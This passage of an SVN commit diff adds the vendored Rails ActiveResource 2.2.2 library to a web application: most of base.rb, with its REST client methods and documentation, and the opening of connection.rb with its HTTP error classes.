+  #   rescue ActiveResource::ResourceNotFound
+  #     redirect_to :action => 'not_found'
+  #   rescue ActiveResource::ResourceConflict, ActiveResource::ResourceInvalid
+  #     redirect_to :action => 'new'
+  #   end
+  #
+  # === Validation errors
+  #
+  # Active Resource supports validations on resources and will return errors if any these validations fail
+  # (e.g., "First name can not be blank" and so on).  These types of errors are denoted in the response by
+  # a response code of <tt>422</tt> and an XML representation of the validation errors.  The save operation will
+  # then fail (with a <tt>false</tt> return value) and the validation errors can be accessed on the resource in question.
+  #
+  #   ryan = Person.find(1)
+  #   ryan.first # => ''
+  #   ryan.save  # => false
+  #
+  #   # When
+  #   # PUT http://api.people.com:3000/people/1.xml
+  #   # is requested with invalid values, the response is:
+  #   #
+  #   # Response (422):
+  #   # <errors type="array"><error>First cannot be empty</error></errors>
+  #   #
+  #
+  #   ryan.errors.invalid?(:first)  # => true
+  #   ryan.errors.full_messages     # => ['First cannot be empty']
+  #
+  # Learn more about Active Resource's validation features in the ActiveResource::Validations documentation.
+  #
+  # === Timeouts
+  #
+  # Active Resource relies on HTTP to access RESTful APIs and as such is inherently susceptible to slow or
+  # unresponsive servers. In such cases, your Active Resource method calls could \timeout. You can control the
+  # amount of time before Active Resource times out with the +timeout+ variable.
+  #
+  #   class Person < ActiveResource::Base
+  #     self.site = "http://api.people.com:3000/"
+  #     self.timeout = 5
+  #   end
+  #
+  # This sets the +timeout+ to 5 seconds. You can adjust the +timeout+ to a value suitable for the RESTful API
+  # you are accessing. It is recommended to set this to a reasonably low value to allow your Active Resource
+  # clients (especially if you are using Active Resource in a Rails application) to fail-fast (see
+  # http://en.wikipedia.org/wiki/Fail-fast) rather than cause cascading failures that could incapacitate your
+  # server.
+  #
+  # When a \timeout occurs, an ActiveResource::TimeoutError is raised. You should rescue from
+  # ActiveResource::TimeoutError in your Active Resource method calls.
+  #
+  # Internally, Active Resource relies on Ruby's Net::HTTP library to make HTTP requests. Setting +timeout+
+  # sets the <tt>read_timeout</tt> of the internal Net::HTTP instance to the same value. The default
+  # <tt>read_timeout</tt> is 60 seconds on most Ruby implementations.
+  class Base
+    # The logger for diagnosing and tracing Active Resource calls.
+    cattr_accessor :logger
+
+    class << self
+      # Gets the URI of the REST resources to map for this class.  The site variable is required for
+      # Active Resource's mapping to work.
+      def site
+        # Not using superclass_delegating_reader because don't want subclasses to modify superclass instance
+        #
+        # With superclass_delegating_reader
+        #
+        #   Parent.site = 'http://[email protected]'
+        #   Subclass.site # => 'http://[email protected]'
+        #   Subclass.site.user = 'david'
+        #   Parent.site # => 'http://[email protected]'
+        #
+        # Without superclass_delegating_reader (expected behaviour)
+        #
+        #   Parent.site = 'http://[email protected]'
+        #   Subclass.site # => 'http://[email protected]'
+        #   Subclass.site.user = 'david' # => TypeError: can't modify frozen object
+        #
+        if defined?(@site)
+          @site
+        elsif superclass != Object && superclass.site
+          superclass.site.dup.freeze
+        end
+      end
+
+      # Sets the URI of the REST resources to map for this class to the value in the +site+ argument.
+      # The site variable is required for Active Resource's mapping to work.
+      def site=(site)
+        @connection = nil
+        if site.nil?
+          @site = nil
+        else
+          @site = create_site_uri_from(site)
+          @user = URI.decode(@site.user) if @site.user
+          @password = URI.decode(@site.password) if @site.password
+        end
+      end
+
+      # Gets the \user for REST HTTP authentication.
+      def user
+        # Not using superclass_delegating_reader. See +site+ for explanation
+        if defined?(@user)
+          @user
+        elsif superclass != Object && superclass.user
+          superclass.user.dup.freeze
+        end
+      end
+
+      # Sets the \user for REST HTTP authentication.
+      def user=(user)
+        @connection = nil
+        @user = user
+      end
+
+      # Gets the \password for REST HTTP authentication.
+      def password
+        # Not using superclass_delegating_reader. See +site+ for explanation
+        if defined?(@password)
+          @password
+        elsif superclass != Object && superclass.password
+          superclass.password.dup.freeze
+        end
+      end
+
+      # Sets the \password for REST HTTP authentication.
+      def password=(password)
+        @connection = nil
+        @password = password
+      end
+
+      # Sets the format that attributes are sent and received in from a mime type reference:
+      #
+      #   Person.format = :json
+      #   Person.find(1) # => GET /people/1.json
+      #
+      #   Person.format = ActiveResource::Formats::XmlFormat
+      #   Person.find(1) # => GET /people/1.xml
+      #
+      # Default format is <tt>:xml</tt>.
+      def format=(mime_type_reference_or_format)
+        format = mime_type_reference_or_format.is_a?(Symbol) ?
+          ActiveResource::Formats[mime_type_reference_or_format] : mime_type_reference_or_format
+
+        write_inheritable_attribute(:format, format)
+        connection.format = format if site
+      end
+
+      # Returns the current format, default is ActiveResource::Formats::XmlFormat.
+      def format
+        read_inheritable_attribute(:format) || ActiveResource::Formats[:xml]
+      end
+
+      # Sets the number of seconds after which requests to the REST API should time out.
+      def timeout=(timeout)
+        @connection = nil
+        @timeout = timeout
+      end
+
+      # Gets the number of seconds after which requests to the REST API should time out.
+      def timeout
+        if defined?(@timeout)
+          @timeout
+        elsif superclass != Object && superclass.timeout
+          superclass.timeout
+        end
+      end
+
+      # An instance of ActiveResource::Connection that is the base \connection to the remote service.
+      # The +refresh+ parameter toggles whether or not the \connection is refreshed at every request
+      # or not (defaults to <tt>false</tt>).
+      def connection(refresh = false)
+        if defined?(@connection) || superclass == Object
+          @connection = Connection.new(site, format) if refresh || @connection.nil?
+          @connection.user = user if user
+          @connection.password = password if password
+          @connection.timeout = timeout if timeout
+          @connection
+        else
+          superclass.connection
+        end
+      end
+
+      def headers
+        @headers ||= {}
+      end
+
+      # Do not include any modules in the default element name. This makes it easier to seclude ARes objects
+      # in a separate namespace without having to set element_name repeatedly.
+      attr_accessor_with_default(:element_name)    { to_s.split("::").last.underscore } #:nodoc:
+
+      attr_accessor_with_default(:collection_name) { element_name.pluralize } #:nodoc:
+      attr_accessor_with_default(:primary_key, 'id') #:nodoc:
+      
+      # Gets the \prefix for a resource's nested URL (e.g., <tt>prefix/collectionname/1.xml</tt>)
+      # This method is regenerated at runtime based on what the \prefix is set to.
+      def prefix(options={})
+        default = site.path
+        default << '/' unless default[-1..-1] == '/'
+        # generate the actual method based on the current site path
+        self.prefix = default
+        prefix(options)
+      end
+
+      # An attribute reader for the source string for the resource path \prefix.  This
+      # method is regenerated at runtime based on what the \prefix is set to.
+      def prefix_source
+        prefix # generate #prefix and #prefix_source methods first
+        prefix_source
+      end
+
+      # Sets the \prefix for a resource's nested URL (e.g., <tt>prefix/collectionname/1.xml</tt>).
+      # Default value is <tt>site.path</tt>.
+      def prefix=(value = '/')
+        # Replace :placeholders with '#{embedded options[:lookups]}'
+        prefix_call = value.gsub(/:\w+/) { |key| "\#{options[#{key}]}" }
+
+        # Clear prefix parameters in case they have been cached
+        @prefix_parameters = nil
+
+        # Redefine the new methods.
+        code = <<-end_code
+          def prefix_source() "#{value}" end
+          def prefix(options={}) "#{prefix_call}" end
+        end_code
+        silence_warnings { instance_eval code, __FILE__, __LINE__ }
+      rescue
+        logger.error "Couldn't set prefix: #{$!}\n  #{code}"
+        raise
+      end
+
+      alias_method :set_prefix, :prefix=  #:nodoc:
+
+      alias_method :set_element_name, :element_name=  #:nodoc:
+      alias_method :set_collection_name, :collection_name=  #:nodoc:
+
+      # Gets the element path for the given ID in +id+.  If the +query_options+ parameter is omitted, Rails
+      # will split from the \prefix options.
+      #
+      # ==== Options
+      # +prefix_options+ - A \hash to add a \prefix to the request for nested URLs (e.g., <tt>:account_id => 19</tt>
+      #                    would yield a URL like <tt>/accounts/19/purchases.xml</tt>).
+      # +query_options+ - A \hash to add items to the query string for the request.
+      #
+      # ==== Examples
+      #   Post.element_path(1)
+      #   # => /posts/1.xml
+      #
+      #   Comment.element_path(1, :post_id => 5)
+      #   # => /posts/5/comments/1.xml
+      #
+      #   Comment.element_path(1, :post_id => 5, :active => 1)
+      #   # => /posts/5/comments/1.xml?active=1
+      #
+      #   Comment.element_path(1, {:post_id => 5}, {:active => 1})
+      #   # => /posts/5/comments/1.xml?active=1
+      #
+      def element_path(id, prefix_options = {}, query_options = nil)
+        prefix_options, query_options = split_options(prefix_options) if query_options.nil?
+        "#{prefix(prefix_options)}#{collection_name}/#{id}.#{format.extension}#{query_string(query_options)}"
+      end
+
+      # Gets the collection path for the REST resources.  If the +query_options+ parameter is omitted, Rails
+      # will split from the +prefix_options+.
+      #
+      # ==== Options
+      # * +prefix_options+ - A hash to add a prefix to the request for nested URL's (e.g., <tt>:account_id => 19</tt>
+      #   would yield a URL like <tt>/accounts/19/purchases.xml</tt>).
+      # * +query_options+ - A hash to add items to the query string for the request.
+      #
+      # ==== Examples
+      #   Post.collection_path
+      #   # => /posts.xml
+      #
+      #   Comment.collection_path(:post_id => 5)
+      #   # => /posts/5/comments.xml
+      #
+      #   Comment.collection_path(:post_id => 5, :active => 1)
+      #   # => /posts/5/comments.xml?active=1
+      #
+      #   Comment.collection_path({:post_id => 5}, {:active => 1})
+      #   # => /posts/5/comments.xml?active=1
+      #
+      def collection_path(prefix_options = {}, query_options = nil)
+        prefix_options, query_options = split_options(prefix_options) if query_options.nil?
+        "#{prefix(prefix_options)}#{collection_name}.#{format.extension}#{query_string(query_options)}"
+      end
+
+      alias_method :set_primary_key, :primary_key=  #:nodoc:
+
+      # Creates a new resource instance and makes a request to the remote service
+      # that it be saved, making it equivalent to the following simultaneous calls:
+      #
+      #   ryan = Person.new(:first => 'ryan')
+      #   ryan.save
+      #
+      # Returns the newly created resource.  If a failure has occurred an
+      # exception will be raised (see <tt>save</tt>).  If the resource is invalid and
+      # has not been saved then <tt>valid?</tt> will return <tt>false</tt>,
+      # while <tt>new?</tt> will still return <tt>true</tt>.
+      #
+      # ==== Examples
+      #   Person.create(:name => 'Jeremy', :email => 'myname at nospam.com', :enabled => true)
+      #   my_person = Person.find(:first)
+      #   my_person.email # => myname at nospam.com
+      #
+      #   dhh = Person.create(:name => 'David', :email => 'dhh at nospam.com', :enabled => true)
+      #   dhh.valid? # => true
+      #   dhh.new?   # => false
+      #
+      #   # We'll assume that there's a validation that requires the name attribute
+      #   that_guy = Person.create(:name => '', :email => 'thatguy at nospam.com', :enabled => true)
+      #   that_guy.valid? # => false
+      #   that_guy.new?   # => true
+      def create(attributes = {})
+        returning(self.new(attributes)) { |res| res.save }
+      end
+
+      # Core method for finding resources.  Used similarly to Active Record's +find+ method.
+      #
+      # ==== Arguments
+      # The first argument is considered to be the scope of the query.  That is, how many
+      # resources are returned from the request.  It can be one of the following.
+      #
+      # * <tt>:one</tt> - Returns a single resource.
+      # * <tt>:first</tt> - Returns the first resource found.
+      # * <tt>:last</tt> - Returns the last resource found.
+      # * <tt>:all</tt> - Returns every resource that matches the request.
+      #
+      # ==== Options
+      #
+      # * <tt>:from</tt> - Sets the path or custom method that resources will be fetched from.
+      # * <tt>:params</tt> - Sets query and \prefix (nested URL) parameters.
+      #
+      # ==== Examples
+      #   Person.find(1)
+      #   # => GET /people/1.xml
+      #
+      #   Person.find(:all)
+      #   # => GET /people.xml
+      #
+      #   Person.find(:all, :params => { :title => "CEO" })
+      #   # => GET /people.xml?title=CEO
+      #
+      #   Person.find(:first, :from => :managers)
+      #   # => GET /people/managers.xml
+      #
+      #   Person.find(:last, :from => :managers)
+      #   # => GET /people/managers.xml
+      #
+      #   Person.find(:all, :from => "/companies/1/people.xml")
+      #   # => GET /companies/1/people.xml
+      #
+      #   Person.find(:one, :from => :leader)
+      #   # => GET /people/leader.xml
+      #
+      #   Person.find(:all, :from => :developers, :params => { :language => 'ruby' })
+      #   # => GET /people/developers.xml?language=ruby
+      #
+      #   Person.find(:one, :from => "/companies/1/manager.xml")
+      #   # => GET /companies/1/manager.xml
+      #
+      #   StreetAddress.find(1, :params => { :person_id => 1 })
+      #   # => GET /people/1/street_addresses/1.xml
+      def find(*arguments)
+        scope   = arguments.slice!(0)
+        options = arguments.slice!(0) || {}
+
+        case scope
+          when :all   then find_every(options)
+          when :first then find_every(options).first
+          when :last  then find_every(options).last
+          when :one   then find_one(options)
+          else             find_single(scope, options)
+        end
+      end
+
+      # Deletes the resources with the ID in the +id+ parameter.
+      #
+      # ==== Options
+      # All options specify \prefix and query parameters.
+      #
+      # ==== Examples
+      #   Event.delete(2) # sends DELETE /events/2
+      #
+      #   Event.create(:name => 'Free Concert', :location => 'Community Center')
+      #   my_event = Event.find(:first) # let's assume this is event with ID 7
+      #   Event.delete(my_event.id) # sends DELETE /events/7
+      #
+      #   # Let's assume a request to events/5/cancel.xml
+      #   Event.delete(params[:id]) # sends DELETE /events/5
+      def delete(id, options = {})
+        connection.delete(element_path(id, options))
+      end
+
+      # Asserts the existence of a resource, returning <tt>true</tt> if the resource is found.
+      #
+      # ==== Examples
+      #   Note.create(:title => 'Hello, world.', :body => 'Nothing more for now...')
+      #   Note.exists?(1) # => true
+      #
+      #   Note.exists(1349) # => false
+      def exists?(id, options = {})
+        if id
+          prefix_options, query_options = split_options(options[:params])
+          path = element_path(id, prefix_options, query_options)
+          response = connection.head(path, headers)
+          response.code.to_i == 200
+        end
+        # id && !find_single(id, options).nil?
+      rescue ActiveResource::ResourceNotFound
+        false
+      end
+
+      private
+        # Find every resource
+        def find_every(options)
+          case from = options[:from]
+          when Symbol
+            instantiate_collection(get(from, options[:params]))
+          when String
+            path = "#{from}#{query_string(options[:params])}"
+            instantiate_collection(connection.get(path, headers) || [])
+          else
+            prefix_options, query_options = split_options(options[:params])
+            path = collection_path(prefix_options, query_options)
+            instantiate_collection( (connection.get(path, headers) || []), prefix_options )
+          end
+        end
+
+        # Find a single resource from a one-off URL
+        def find_one(options)
+          case from = options[:from]
+          when Symbol
+            instantiate_record(get(from, options[:params]))
+          when String
+            path = "#{from}#{query_string(options[:params])}"
+            instantiate_record(connection.get(path, headers))
+          end
+        end
+
+        # Find a single resource from the default URL
+        def find_single(scope, options)
+          prefix_options, query_options = split_options(options[:params])
+          path = element_path(scope, prefix_options, query_options)
+          instantiate_record(connection.get(path, headers), prefix_options)
+        end
+
+        def instantiate_collection(collection, prefix_options = {})
+          collection.collect! { |record| instantiate_record(record, prefix_options) }
+        end
+
+        def instantiate_record(record, prefix_options = {})
+          returning new(record) do |resource|
+            resource.prefix_options = prefix_options
+          end
+        end
+
+
+        # Accepts a URI and creates the site URI from that.
+        def create_site_uri_from(site)
+          site.is_a?(URI) ? site.dup : URI.parse(site)
+        end
+
+        # contains a set of the current prefix parameters.
+        def prefix_parameters
+          @prefix_parameters ||= prefix_source.scan(/:\w+/).map { |key| key[1..-1].to_sym }.to_set
+        end
+
+        # Builds the query string for the request.
+        def query_string(options)
+          "?#{options.to_query}" unless options.nil? || options.empty?
+        end
+
+        # split an option hash into two hashes, one containing the prefix options,
+        # and the other containing the leftovers.
+        def split_options(options = {})
+          prefix_options, query_options = {}, {}
+
+          (options || {}).each do |key, value|
+            next if key.blank?
+            (prefix_parameters.include?(key.to_sym) ? prefix_options : query_options)[key.to_sym] = value
+          end
+
+          [ prefix_options, query_options ]
+        end
+    end
+
+    attr_accessor :attributes #:nodoc:
+    attr_accessor :prefix_options #:nodoc:
+
+    # Constructor method for \new resources; the optional +attributes+ parameter takes a \hash
+    # of attributes for the \new resource.
+    #
+    # ==== Examples
+    #   my_course = Course.new
+    #   my_course.name = "Western Civilization"
+    #   my_course.lecturer = "Don Trotter"
+    #   my_course.save
+    #
+    #   my_other_course = Course.new(:name => "Philosophy: Reason and Being", :lecturer => "Ralph Cling")
+    #   my_other_course.save
+    def initialize(attributes = {})
+      @attributes     = {}
+      @prefix_options = {}
+      load(attributes)
+    end
+
+    # Returns a \clone of the resource that hasn't been assigned an +id+ yet and
+    # is treated as a \new resource.
+    #
+    #   ryan = Person.find(1)
+    #   not_ryan = ryan.clone
+    #   not_ryan.new?  # => true
+    #
+    # Any active resource member attributes will NOT be cloned, though all other
+    # attributes are.  This is to prevent the conflict between any +prefix_options+
+    # that refer to the original parent resource and the newly cloned parent
+    # resource that does not exist.
+    #
+    #   ryan = Person.find(1)
+    #   ryan.address = StreetAddress.find(1, :person_id => ryan.id)
+    #   ryan.hash = {:not => "an ARes instance"}
+    #
+    #   not_ryan = ryan.clone
+    #   not_ryan.new?            # => true
+    #   not_ryan.address         # => NoMethodError
+    #   not_ryan.hash            # => {:not => "an ARes instance"}
+    def clone
+      # Clone all attributes except the pk and any nested ARes
+      cloned = attributes.reject {|k,v| k == self.class.primary_key || v.is_a?(ActiveResource::Base)}.inject({}) do |attrs, (k, v)|
+        attrs[k] = v.clone
+        attrs
+      end
+      # Form the new resource - bypass initialize of resource with 'new' as that will call 'load' which
+      # attempts to convert hashes into member objects and arrays into collections of objects.  We want
+      # the raw objects to be cloned so we bypass load by directly setting the attributes hash.
+      resource = self.class.new({})
+      resource.prefix_options = self.prefix_options
+      resource.send :instance_variable_set, '@attributes', cloned
+      resource
+    end
+
+
+    # A method to determine if the resource a \new object (i.e., it has not been POSTed to the remote service yet).
+    #
+    # ==== Examples
+    #   not_new = Computer.create(:brand => 'Apple', :make => 'MacBook', :vendor => 'MacMall')
+    #   not_new.new? # => false
+    #
+    #   is_new = Computer.new(:brand => 'IBM', :make => 'Thinkpad', :vendor => 'IBM')
+    #   is_new.new? # => true
+    #
+    #   is_new.save
+    #   is_new.new? # => false
+    #
+    def new?
+      id.nil?
+    end
+
+    # Gets the <tt>\id</tt> attribute of the resource.
+    def id
+      attributes[self.class.primary_key]
+    end
+
+    # Sets the <tt>\id</tt> attribute of the resource.
+    def id=(id)
+      attributes[self.class.primary_key] = id
+    end
+
+    # Allows Active Resource objects to be used as parameters in Action Pack URL generation.
+    def to_param
+      id && id.to_s
+    end
+
+    # Test for equality.  Resource are equal if and only if +other+ is the same object or
+    # is an instance of the same class, is not <tt>new?</tt>, and has the same +id+.
+    #
+    # ==== Examples
+    #   ryan = Person.create(:name => 'Ryan')
+    #   jamie = Person.create(:name => 'Jamie')
+    #
+    #   ryan == jamie
+    #   # => false (Different name attribute and id)
+    #
+    #   ryan_again = Person.new(:name => 'Ryan')
+    #   ryan == ryan_again
+    #   # => false (ryan_again is new?)
+    #
+    #   ryans_clone = Person.create(:name => 'Ryan')
+    #   ryan == ryans_clone
+    #   # => false (Different id attributes)
+    #
+    #   ryans_twin = Person.find(ryan.id)
+    #   ryan == ryans_twin
+    #   # => true
+    #
+    def ==(other)
+      other.equal?(self) || (other.instance_of?(self.class) && !other.new? && other.id == id)
+    end
+
+    # Tests for equality (delegates to ==).
+    def eql?(other)
+      self == other
+    end
+
+    # Delegates to id in order to allow two resources of the same type and \id to work with something like:
+    #   [Person.find(1), Person.find(2)] & [Person.find(1), Person.find(4)] # => [Person.find(1)]
+    def hash
+      id.hash
+    end
+
+    # Duplicate the current resource without saving it.
+    #
+    # ==== Examples
+    #   my_invoice = Invoice.create(:customer => 'That Company')
+    #   next_invoice = my_invoice.dup
+    #   next_invoice.new? # => true
+    #
+    #   next_invoice.save
+    #   next_invoice == my_invoice # => false (different id attributes)
+    #
+    #   my_invoice.customer   # => That Company
+    #   next_invoice.customer # => That Company
+    def dup
+      returning self.class.new do |resource|
+        resource.attributes     = @attributes
+        resource.prefix_options = @prefix_options
+      end
+    end
+
+    # A method to \save (+POST+) or \update (+PUT+) a resource.  It delegates to +create+ if a \new object, 
+    # +update+ if it is existing. If the response to the \save includes a body, it will be assumed that this body
+    # is XML for the final object as it looked after the \save (which would include attributes like +created_at+
+    # that weren't part of the original submit).
+    #
+    # ==== Examples
+    #   my_company = Company.new(:name => 'RoleModel Software', :owner => 'Ken Auer', :size => 2)
+    #   my_company.new? # => true
+    #   my_company.save # sends POST /companies/ (create)
+    #
+    #   my_company.new? # => false
+    #   my_company.size = 10
+    #   my_company.save # sends PUT /companies/1 (update)
+    def save
+      new? ? create : update
+    end
+
+    # Deletes the resource from the remote service.
+    #
+    # ==== Examples
+    #   my_id = 3
+    #   my_person = Person.find(my_id)
+    #   my_person.destroy
+    #   Person.find(my_id) # 404 (Resource Not Found)
+    #
+    #   new_person = Person.create(:name => 'James')
+    #   new_id = new_person.id # => 7
+    #   new_person.destroy
+    #   Person.find(new_id) # 404 (Resource Not Found)
+    def destroy
+      connection.delete(element_path, self.class.headers)
+    end
+
+    # Evaluates to <tt>true</tt> if this resource is not <tt>new?</tt> and is
+    # found on the remote service.  Using this method, you can check for
+    # resources that may have been deleted between the object's instantiation
+    # and actions on it.
+    #
+    # ==== Examples
+    #   Person.create(:name => 'Theodore Roosevelt')
+    #   that_guy = Person.find(:first)
+    #   that_guy.exists? # => true
+    #
+    #   that_lady = Person.new(:name => 'Paul Bean')
+    #   that_lady.exists? # => false
+    #
+    #   guys_id = that_guy.id
+    #   Person.delete(guys_id)
+    #   that_guy.exists? # => false
+    def exists?
+      !new? && self.class.exists?(to_param, :params => prefix_options)
+    end
+
+    # A method to convert the the resource to an XML string.
+    #
+    # ==== Options
+    # The +options+ parameter is handed off to the +to_xml+ method on each
+    # attribute, so it has the same options as the +to_xml+ methods in
+    # Active Support.
+    #
+    # * <tt>:indent</tt> - Set the indent level for the XML output (default is +2+).
+    # * <tt>:dasherize</tt> - Boolean option to determine whether or not element names should
+    #   replace underscores with dashes (default is <tt>false</tt>).
+    # * <tt>:skip_instruct</tt> - Toggle skipping the +instruct!+ call on the XML builder
+    #   that generates the XML declaration (default is <tt>false</tt>).
+    #
+    # ==== Examples
+    #   my_group = SubsidiaryGroup.find(:first)
+    #   my_group.to_xml
+    #   # => <?xml version="1.0" encoding="UTF-8"?>
+    #   #    <subsidiary_group> [...] </subsidiary_group>
+    #
+    #   my_group.to_xml(:dasherize => true)
+    #   # => <?xml version="1.0" encoding="UTF-8"?>
+    #   #    <subsidiary-group> [...] </subsidiary-group>
+    #
+    #   my_group.to_xml(:skip_instruct => true)
+    #   # => <subsidiary_group> [...] </subsidiary_group>
+    def to_xml(options={})
+      attributes.to_xml({:root => self.class.element_name}.merge(options))
+    end
+
+    # Returns a JSON string representing the model. Some configuration is
+    # available through +options+.
+    #
+    # ==== Options
+    # The +options+ are passed to the +to_json+ method on each
+    # attribute, so the same options as the +to_json+ methods in
+    # Active Support.
+    #
+    # * <tt>:only</tt> - Only include the specified attribute or list of
+    #   attributes in the serialized output. Attribute names must be specified
+    #   as strings.
+    # * <tt>:except</tt> - Do not include the specified attribute or list of
+    #   attributes in the serialized output. Attribute names must be specified
+    #   as strings.
+    #
+    # ==== Examples
+    #   person = Person.new(:first_name => "Jim", :last_name => "Smith")
+    #   person.to_json
+    #   # => {"first_name": "Jim", "last_name": "Smith"}
+    #
+    #   person.to_json(:only => ["first_name"])
+    #   # => {"first_name": "Jim"}
+    #
+    #   person.to_json(:except => ["first_name"])
+    #   # => {"last_name": "Smith"}
+    def to_json(options={})
+      attributes.to_json(options)
+    end
+
+    # Returns the serialized string representation of the resource in the configured
+    # serialization format specified in ActiveResource::Base.format. The options
+    # applicable depend on the configured encoding format.
+    def encode(options={})
+      case self.class.format
+        when ActiveResource::Formats[:xml]
+          self.class.format.encode(attributes, {:root => self.class.element_name}.merge(options))
+        else
+          self.class.format.encode(attributes, options)
+      end
+    end
+
+    # A method to \reload the attributes of this object from the remote web service.
+    #
+    # ==== Examples
+    #   my_branch = Branch.find(:first)
+    #   my_branch.name # => "Wislon Raod"
+    #
+    #   # Another client fixes the typo...
+    #
+    #   my_branch.name # => "Wislon Raod"
+    #   my_branch.reload
+    #   my_branch.name # => "Wilson Road"
+    def reload
+      self.load(self.class.find(to_param, :params => @prefix_options).attributes)
+    end
+
+    # A method to manually load attributes from a \hash. Recursively loads collections of
+    # resources.  This method is called in +initialize+ and +create+ when a \hash of attributes
+    # is provided.
+    #
+    # ==== Examples
+    #   my_attrs = {:name => 'J&J Textiles', :industry => 'Cloth and textiles'}
+    #   my_attrs = {:name => 'Marty', :colors => ["red", "green", "blue"]}
+    #
+    #   the_supplier = Supplier.find(:first)
+    #   the_supplier.name # => 'J&M Textiles'
+    #   the_supplier.load(my_attrs)
+    #   the_supplier.name('J&J Textiles')
+    #
+    #   # These two calls are the same as Supplier.new(my_attrs)
+    #   my_supplier = Supplier.new
+    #   my_supplier.load(my_attrs)
+    #
+    #   # These three calls are the same as Supplier.create(my_attrs)
+    #   your_supplier = Supplier.new
+    #   your_supplier.load(my_attrs)
+    #   your_supplier.save
+    def load(attributes)
+      raise ArgumentError, "expected an attributes Hash, got #{attributes.inspect}" unless attributes.is_a?(Hash)
+      @prefix_options, attributes = split_options(attributes)
+      attributes.each do |key, value|
+        @attributes[key.to_s] =
+          case value
+            when Array
+              resource = find_or_create_resource_for_collection(key)
+              value.map { |attrs| attrs.is_a?(String) ? attrs.dup : resource.new(attrs) }
+            when Hash
+              resource = find_or_create_resource_for(key)
+              resource.new(value)
+            else
+              value.dup rescue value
+          end
+      end
+      self
+    end
+
+    # For checking <tt>respond_to?</tt> without searching the attributes (which is faster).
+    alias_method :respond_to_without_attributes?, :respond_to?
+
+    # A method to determine if an object responds to a message (e.g., a method call). In Active Resource, a Person object with a
+    # +name+ attribute can answer <tt>true</tt> to <tt>my_person.respond_to?(:name)</tt>, <tt>my_person.respond_to?(:name=)</tt>, and
+    # <tt>my_person.respond_to?(:name?)</tt>.
+    def respond_to?(method, include_priv = false)
+      method_name = method.to_s
+      if attributes.nil?
+        return super
+      elsif attributes.has_key?(method_name)
+        return true
+      elsif ['?','='].include?(method_name.last) && attributes.has_key?(method_name.first(-1))
+        return true
+      end
+      # super must be called at the end of the method, because the inherited respond_to?
+      # would return true for generated readers, even if the attribute wasn't present
+      super
+    end
+
+
+    protected
+      def connection(refresh = false)
+        self.class.connection(refresh)
+      end
+
+      # Update the resource on the remote service.
+      def update
+        returning connection.put(element_path(prefix_options), encode, self.class.headers) do |response|
+          load_attributes_from_response(response)
+        end
+      end
+
+      # Create (i.e., \save to the remote service) the \new resource.
+      def create
+        returning connection.post(collection_path, encode, self.class.headers) do |response|
+          self.id = id_from_response(response)
+          load_attributes_from_response(response)
+        end
+      end
+
+      def load_attributes_from_response(response)
+        if response['Content-Length'] != "0" && response.body.strip.size > 0
+          load(self.class.format.decode(response.body))
+        end
+      end
+
+      # Takes a response from a typical create post and pulls the ID out
+      def id_from_response(response)
+        response['Location'][/\/([^\/]*?)(\.\w+)?$/, 1]
+      end
+
+      def element_path(options = nil)
+        self.class.element_path(to_param, options || prefix_options)
+      end
+
+      def collection_path(options = nil)
+        self.class.collection_path(options || prefix_options)
+      end
+
+    private
+      # Tries to find a resource for a given collection name; if it fails, then the resource is created
+      def find_or_create_resource_for_collection(name)
+        find_or_create_resource_for(name.to_s.singularize)
+      end
+
+      # Tries to find a resource in a non empty list of nested modules
+      # Raises a NameError if it was not found in any of the given nested modules
+      def find_resource_in_modules(resource_name, module_names)
+        receiver = Object
+        namespaces = module_names[0, module_names.size-1].map do |module_name|
+          receiver = receiver.const_get(module_name)
+        end
+        if namespace = namespaces.reverse.detect { |ns| ns.const_defined?(resource_name) }
+          return namespace.const_get(resource_name)
+        else
+          raise NameError
+        end
+      end
+
+      # Tries to find a resource for a given name; if it fails, then the resource is created
+      def find_or_create_resource_for(name)
+        resource_name = name.to_s.camelize
+        ancestors = self.class.name.split("::")
+        if ancestors.size > 1
+          find_resource_in_modules(resource_name, ancestors)
+        else
+          self.class.const_get(resource_name)
+        end
+      rescue NameError
+        if self.class.const_defined?(resource_name)
+          resource = self.class.const_get(resource_name)
+        else
+          resource = self.class.const_set(resource_name, Class.new(ActiveResource::Base))
+        end
+        resource.prefix = self.class.prefix
+        resource.site   = self.class.site
+        resource
+      end
+
+      def split_options(options = {})
+        self.class.__send__(:split_options, options)
+      end
+
+      def method_missing(method_symbol, *arguments) #:nodoc:
+        method_name = method_symbol.to_s
+
+        case method_name.last
+          when "="
+            attributes[method_name.first(-1)] = arguments.first
+          when "?"
+            attributes[method_name.first(-1)]
+          else
+            attributes.has_key?(method_name) ? attributes[method_name] : super
+        end
+      end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/lib/active_resource/connection.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/lib/active_resource/connection.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activeresource-2.2.2/lib/active_resource/connection.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,218 @@
+require 'net/https'
+require 'date'
+require 'time'
+require 'uri'
+require 'benchmark'
+
+module ActiveResource
+  class ConnectionError < StandardError # :nodoc:
+    attr_reader :response
+
+    def initialize(response, message = nil)
+      @response = response
+      @message  = message
+    end
+
+    def to_s
+      "Failed with #{response.code} #{response.message if response.respond_to?(:message)}"
+    end
+  end
+
+  # Raised when a Timeout::Error occurs.
+  class TimeoutError < ConnectionError
+    def initialize(message)
+      @message = message
+    end
+    def to_s; @message ;end
+  end
+
+  # 3xx Redirection
+  class Redirection < ConnectionError # :nodoc:
+    def to_s; response['Location'] ? "#{super} => #{response['Location']}" : super; end
+  end
+
+  # 4xx Client Error
+  class ClientError < ConnectionError; end # :nodoc:
+
+  # 400 Bad Request
+  class BadRequest < ClientError; end # :nodoc
+
+  # 401 Unauthorized
+  class UnauthorizedAccess < ClientError; end # :nodoc
+
+  # 403 Forbidden
+  class ForbiddenAccess < ClientError; end # :nodoc
+
+  # 404 Not Found
+  class ResourceNotFound < ClientError; end # :nodoc:
+
+  # 409 Conflict
+  class ResourceConflict < ClientError; end # :nodoc:
+
+  # 5xx Server Error
+  class ServerError < ConnectionError; end # :nodoc:
+
+  # 405 Method Not Allowed
+  class MethodNotAllowed < ClientError # :nodoc:
+    def allowed_methods
+      @response['Allow'].split(',').map { |verb| verb.strip.downcase.to_sym }
+    end
+  end
+
+  # Class to handle connections to remote web services.
+  # This class is used by ActiveResource::Base to interface with REST
+  # services.
+  class Connection
+
+    HTTP_FORMAT_HEADER_NAMES = {  :get => 'Accept',
